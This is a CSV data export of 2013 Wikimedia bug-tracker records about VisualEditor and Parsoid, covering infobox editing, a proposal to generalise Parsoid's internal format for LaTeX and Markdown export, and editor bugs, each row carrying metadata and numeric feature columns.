214760,VisualEditor: Allow nodes to handle their own children,Done in https://gerrit.wikimedia.org/r/#/c/58645/ and related commits.,,,1366130702,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4q75ixwk7yvcayzud2qd,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Done in URL and related commits.
48520,VisualEditor to edit infobox text fields,"Currently VisualEditor users can't touch infoboxes. It would be great to have edit access to the text fields of infoboxes.

Being able to update images would be a plus.

Modification of the infobox itself (e.g. addition of new fields) is out of scope here.


I'm filing this request in relation to 

""Wikidata provides data for Wikipedia's infoboxes. The goal of this project is easy editing of the data for a given infobox on the Wikipedia, without having to go to Wikidata.""
http://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#On-site_editing

By the time those Wikipedia infoboxes would be filled with Wikidata data, 
""easy editing"" should be provided by VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1364167560,1364167729.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-sk3uspo3yfsnwm2o672b,task_description,resolved,True,c1,1,False,False,True,-15,,0.0,0.0,0.0,1.5,0.5,3.5,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,13.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.0,0.5,1.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,13.0,5.5,0.0,2.5,0.0,1.5,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,4.090277777777778,0.6944444444444444,"Currently VisualEditor users can't touch infoboxes. It would be great to have edit access to the text fields of infoboxes.

Being able to update images would be a plus.

Modification of the infobox itself (e.g. addition of new fields) is out of scope here.


I'm filing this request in relation to 

""Wikidata provides data for Wikipedia's infoboxes. The goal of this project is easy editing of the data for a given infobox on the Wikipedia, without having to go to Wikidata.""
URL

By the time those Wikipedia infoboxes would be filled with Wikidata data, 
""easy editing"" should be provided by VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
208358,VisualEditor to edit infobox text fields,"Very much on the roadmap already.

The Wikidata integration is another issue; will talk with Denny and see about opening distinct bugs for that stuff.

*** This bug has been marked as a duplicate of bug 39598 ***",,,1364167729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sk3uspo3yfsnwm2o672b,task_subcomment,,True,c1,1,True,,,-15,,2.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,11.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.765957446808511,0.8297872340425532,"Very much on the roadmap already.

The Wikidata integration is another issue; will talk with Denny and see about opening distinct bugs for that stuff.

*** This bug has been marked as a duplicate of bug 39598 ***"
48516,Generalise the Parsoid structure and internal representations.,"So Molly and I are at LibrePlanet talking about bug 37933.

We decided that while Wikitext --> HTML --> LaTeX is possible, it's not terribly useful and doesn't really take advantage of the structure of Parsoid - we see it as adding an extra stage to the parse, which will potentially add to the time the parse takes, as opposed to having a generalized token stream and only starting to convert to a format after the token stream is actually ready.

Obviously this means a few of big things, potentially:

1. The DOM post processor needs to either run before the HTML5 tree builder, on tokens or some other structure, or it needs to be emulated for each format. I'm leaning towards the former, because if we're going to export to multiple formats it would make more sense to have one file for each format that builds the export from a token structure, rather than two files each, which build the export and do the postprocessing.

2. Because we aren't actually dealing with HTML, necessarily, in the end, we shouldn't be talking about tokens with HTML-specific tag names. Probably we could just use canonical Parsoid-specific names - something like http://www.mediawiki.org/wiki/Parsoid/RDFa_vocabulary - or maybe something similar to the *_NODE attributes in DOM nodes, with a mapper to some canonical integer values that are defined in the base Token class.

Footnote: As I was thinking about this and trying to come up with how I wanted it to look, I realized that the problem was that I was looking at it as wanting to convert between WT and either LaTeX or HTML, but if we wound up following our long term plan, ""LaTeX export"" would also require HTML-to-LaTeX, because HTML would be our storage mechanism. So I think it might be better to rewrite each bit of our system to convert each format to and from a canonical internal representation, rather than to and from any one other format.

I'm posting here because I want thoughts and feedback. It should be noted that bug 37934 would also benefit from any of the work we did on the generalisation problem - and we could probably open a tracking bug to figure out all of these things more generally.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1364163180,1364323385.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-jhlniwxu2ykuroltxk3l,task_description,declined,True,c1,1,True,False,True,-15,,2.2,0.4,0.0,0.6,0.8,5.4,1.2,0.8,0.0,0.4,1.8,1.2,0.0,0.2,0.0,4.2,0.2,5.8,14.6,0.4,2.2,0.4,0.2,0.0,1.4,0.2,0.0,0.0,0.6,1.0,0.2,4.2,1.6,1.6,0.4,0.0,0.0,0.4,0.2,0.4,0.0,0.0,0.0,0.8,0.0,0.4,0.0,0.4,0.6,12.2,0.4,0.4,0.2,0.8,0.4,0.0,0.0,0.0,0.4,0.0,0.6,1.6,0.0,0.4,0.0,0.4,0.0,5.0,2.6,8.8,2.4,3.4,8.2,0.0,0.0,0.0,0.0,4.6,0.0,1.0,0.0,6.0,14.6,3.4,0.0,0.4,0.0,6.0,0.0,1.0,1.6,0.0,2.8,0.6,0.0,0.6,3.995531135531136,0.7100122100122099,"So Molly and I are at LibrePlanet talking about bug 37933.

We decided that while Wikitext --> HTML --> LaTeX is possible, it's not terribly useful and doesn't really take advantage of the structure of Parsoid - we see it as adding an extra stage to the parse, which will potentially add to the time the parse takes, as opposed to having a generalized token stream and only starting to convert to a format after the token stream is actually ready.

Obviously this means a few of big things, potentially:

1. The DOM post processor needs to either run before the HTML5 tree builder, on tokens or some other structure, or it needs to be emulated for each format. I'm leaning towards the former, because if we're going to export to multiple formats it would make more sense to have one file for each format that builds the export from a token structure, rather than two files each, which build the export and do the postprocessing.

2. Because we aren't actually dealing with HTML, necessarily, in the end, we shouldn't be talking about tokens with HTML-specific tag names. Probably we could just use canonical Parsoid-specific names - something like URL - or maybe something similar to the *_NODE attributes in DOM nodes, with a mapper to some canonical integer values that are defined in the base Token class.

Footnote: As I was thinking about this and trying to come up with how I wanted it to look, I realized that the problem was that I was looking at it as wanting to convert between WT and either LaTeX or HTML, but if we wound up following our long term plan, ""LaTeX export"" would also require HTML-to-LaTeX, because HTML would be our storage mechanism. So I think it might be better to rewrite each bit of our system to convert each format to and from a canonical internal representation, rather than to and from any one other format.

I'm posting here because I want thoughts and feedback. It should be noted that bug 37934 would also benefit from any of the work we did on the generalisation problem - and we could probably open a tracking bug to figure out all of these things more generally.

--------------------------
**Version**: unspecified
**Severity**: normal"
208160,Generalise the Parsoid structure and internal representations.,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934009,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
208157,Generalise the Parsoid structure and internal representations.,"**molly.white5** wrote:

From my brief look at pandoc, it appears that it can do it. As always, it's roundtripping that's the issue.",,,1364231575,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,False,,,-14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,12.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2941176470588234,0.7058823529411765,"**molly.white5** wrote:

From my brief look at pandoc, it appears that it can do it. As always, it's roundtripping that's the issue."
208153,Generalise the Parsoid structure and internal representations.,"I agree. If we wind up supporting Markdown, it will be because we've found a way to do HTML <--> Markdown, or at least one direction or t'other. Converting to HTML is simple enough, at least.",,,1364231508,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,7.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,9.0,16.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,4.0,3.466666666666667,0.7555555555555555,"I agree. If we wind up supporting Markdown, it will be because we've found a way to do HTML <--> Markdown, or at least one direction or t'other. Converting to HTML is simple enough, at least."
208148,Generalise the Parsoid structure and internal representations.,"**molly.white5** wrote:

I agree that LaTeX to wikitext would not be terribly useful. I wonder if the community would benefit from having some other formats be two-way, though. I'm sure there are people out there who would rather write their articles using Markdown... Then again, if we're trying to make the switch to the VisualEditor anyway, the ability to write articles in Markdown would be of only temporary value.",,,1364231440,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,False,,,-14,,1.0,0.0,0.0,0.0,1.0,7.0,2.0,0.0,1.0,2.0,1.0,2.0,0.0,1.0,1.0,5.0,0.0,9.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,6.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,13.0,5.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.093023255813954,0.7093023255813954,"**molly.white5** wrote:

I agree that LaTeX to wikitext would not be terribly useful. I wonder if the community would benefit from having some other formats be two-way, though. I'm sure there are people out there who would rather write their articles using Markdown... Then again, if we're trying to make the switch to the VisualEditor anyway, the ability to write articles in Markdown would be of only temporary value."
208142,Generalise the Parsoid structure and internal representations.,"I think we could call that ""of dubious usefulness"", but you're the one who's going to have to implement it, so I probably shouldn't dictate anything. In any case I think LaTeX and HTML have a much closer 1:1 ratio than WT and HTML, so it should be much easier to add in, even if it winds up being an afterthought.

And as ever, we're in IRC if you'd like any help or guidance :)",,,1364231169,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,4.0,1.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,8.0,13.0,1.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,8.0,2.0,3.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,2.0,11.0,2.0,7.0,7.0,0.0,1.0,0.0,0.0,8.0,0.0,1.0,0.0,11.0,13.0,6.0,0.0,2.0,0.0,11.0,0.0,1.0,2.0,0.0,1.0,2.0,0.0,0.0,3.388888888888889,0.7222222222222222,"I think we could call that ""of dubious usefulness"", but you're the one who's going to have to implement it, so I probably shouldn't dictate anything. In any case I think LaTeX and HTML have a much closer 1:1 ratio than WT and HTML, so it should be much easier to add in, even if it winds up being an afterthought.

And as ever, we're in IRC if you'd like any help or guidance :)"
208135,Generalise the Parsoid structure and internal representations.,"**molly.white5** wrote:

Alright, that sounds fine as long as you're not concerned with the speed. I'm not familiar with pandoc, but I'll read up on it. I'm curious to see how they perform wikitext <-> LaTeX and HTML <-> LaTeX.

Have you discussed whether or not we'll want to be able to roundtrip wikitext and LaTeX?",,,1364229706,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,False,,,-14,,0.0,0.0,0.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,5.0,0.0,8.0,12.0,0.0,4.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,12.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,12.0,8.0,1.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.4285714285714284,0.7012987012987013,"**molly.white5** wrote:

Alright, that sounds fine as long as you're not concerned with the speed. I'm not familiar with pandoc, but I'll read up on it. I'm curious to see how they perform wikitext <-> LaTeX and HTML <-> LaTeX.

Have you discussed whether or not we'll want to be able to roundtrip wikitext and LaTeX?"
208128,Generalise the Parsoid structure and internal representations.,"We're chatting on IRC currently, and I think the rough consensus is something like...""HTML should be the common format, and the rest can deal with it."" This makes some amount of sense, though it does mean that, temporarily at least, we'll have to deal with parsing WT to HTML before going to other formats. Since anything beyond that is relatively fast, in terms of performance, we can live with that issue for now.

So Molly, we'll throw out the insane charts and maps we've drawn up (which really just consists of one chalk scribble at Harvard) and see what HTML can offer as an intermediary format - to that end, I guess gwicke's suggestion of pandoc is a good place to start.",,,1364228786,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,0.5,1.0,0.0,0.0,0.0,4.5,1.5,0.0,0.5,0.0,1.5,2.5,0.0,0.0,0.0,4.0,0.0,5.0,15.0,1.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,2.0,1.0,0.0,5.5,3.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,1.5,1.5,0.0,2.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.5,2.0,7.0,1.5,2.5,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,5.0,15.0,3.5,0.0,0.5,0.0,5.0,0.0,1.5,1.5,0.0,1.5,0.0,0.5,0.0,3.828767123287671,0.8150684931506849,"We're chatting on IRC currently, and I think the rough consensus is something like...""HTML should be the common format, and the rest can deal with it."" This makes some amount of sense, though it does mean that, temporarily at least, we'll have to deal with parsing WT to HTML before going to other formats. Since anything beyond that is relatively fast, in terms of performance, we can live with that issue for now.

So Molly, we'll throw out the insane charts and maps we've drawn up (which really just consists of one chalk scribble at Harvard) and see what HTML can offer as an intermediary format - to that end, I guess gwicke's suggestion of pandoc is a good place to start."
208121,Generalise the Parsoid structure and internal representations.,"Reg. 1. the DOM post processor cannot run before the DOM is built, it requires information that is available only after the DOM is fully built.",,,1364227272,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,0.0,0.0,3.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,13.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.806451612903226,0.7096774193548387,"Reg. 1. the DOM post processor cannot run before the DOM is built, it requires information that is available only after the DOM is fully built."
208110,Generalise the Parsoid structure and internal representations.,"I just ran a quick serialize to see what the timing was like in comparison to a parse - in case we decide to convert HTML into an intermediary format that would translate into whatever other format we want to use. I think the two seconds that it takes to serialize wouldn't be greatly affected by an extra step in the serializer process, and I think the benefits of having a general solution for converting between formats would be greatly useful.",,,1364165114,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,2.0,1.0,1.0,7.0,2.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,6.0,1.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,11.0,4.0,5.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,4.317647058823529,0.7058823529411765,"I just ran a quick serialize to see what the timing was like in comparison to a parse - in case we decide to convert HTML into an intermediary format that would translate into whatever other format we want to use. I think the two seconds that it takes to serialize wouldn't be greatly affected by an extra step in the serializer process, and I think the benefits of having a general solution for converting between formats would be greatly useful."
48506,"Just added single character, but at review all content is replaced","Steps:

1) Go to http://en.wikipedia.org/wiki/Jean_Nicolas
2) Click VisualEditor
3) Without moving the cursor or anything, enter the following character: a
4) Click ""Review and save""
5) The whole content of the article has been replaced with just the character.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1364127180,1364127463.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-6vicxrcuqmyqgizvbnop,task_description,resolved,True,c1,1,False,False,True,-15,,0.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,15.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,3.5753424657534247,0.6438356164383562,"Steps:

1) Go to URL
2) Click VisualEditor
3) Without moving the cursor or anything, enter the following character: a
4) Click ""Review and save""
5) The whole content of the article has been replaced with just the character.

--------------------------
**Version**: unspecified
**Severity**: major"
207494,"Just added single character, but at review all content is replaced","

*** This bug has been marked as a duplicate of bug 43103 ***",,,1364127463,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-6vicxrcuqmyqgizvbnop,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 43103 ***"
48505,Clicking outside of link edition popup removes link,"Steps:

1) Go to http://en.wikipedia.org/wiki/Nicolas
2) Click VisualEditor
3) Left-click any link
4) A small popup with only one item appears, click on it
5) Click outside of the popup, for instance on a blank area of the article behind
6) Link has disappeared

Step 5 is what many users do to cancel.

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1364126940,1364164432.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-l2eaq3bdozrt2dgpbncq,task_description,resolved,True,c1,1,False,False,True,-15,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,6.0,0.0,1.0,11.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,3.2777777777777777,0.6555555555555556,"Steps:

1) Go to URL
2) Click VisualEditor
3) Left-click any link
4) A small popup with only one item appears, click on it
5) Click outside of the popup, for instance on a blank area of the article behind
6) Link has disappeared

Step 5 is what many users do to cancel.

--------------------------
**Version**: unspecified
**Severity**: major"
207443,Clicking outside of link edition popup removes link,"This was fixed in bug 46025 which is bundled in MediaWiki 1.21wmf12 which should be deployed to enwiki tomorrow. Sorry for the delay!

*** This bug has been marked as a duplicate of bug 46025 ***",,,1364164432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l2eaq3bdozrt2dgpbncq,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,2.0,2.0,7.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.744186046511628,0.7441860465116279,"This was fixed in bug 46025 which is bundled in MediaWiki 1.21wmf12 which should be deployed to enwiki tomorrow. Sorry for the delay!

*** This bug has been marked as a duplicate of bug 46025 ***"
48320,VisualEditor: store annotations in a document-wide index/value store and serialize as integer indexes,"

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1363693320,1366130603.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-e7xy2ghygeqe5vvk7vir,task_description,resolved,True,c1,1,True,False,True,-15,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
220341,VisualEditor: store annotations in a document-wide index/value store and serialize as integer indexes,Related URL: https://gerrit.wikimedia.org/r/54991 (Gerrit Patch-Set: I249a5d48726093d1cb3e36351893f4bff85f52e2/1),,,1363819486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e7xy2ghygeqe5vvk7vir,task_subcomment,,True,c1,1,False,,,-15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,58.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.833333333333333,0.9166666666666666,Related URL: GERRIT_URL (Gerrit Patch-Set: I249a5d48726093d1cb3e36351893f4bff85f52e2/1)
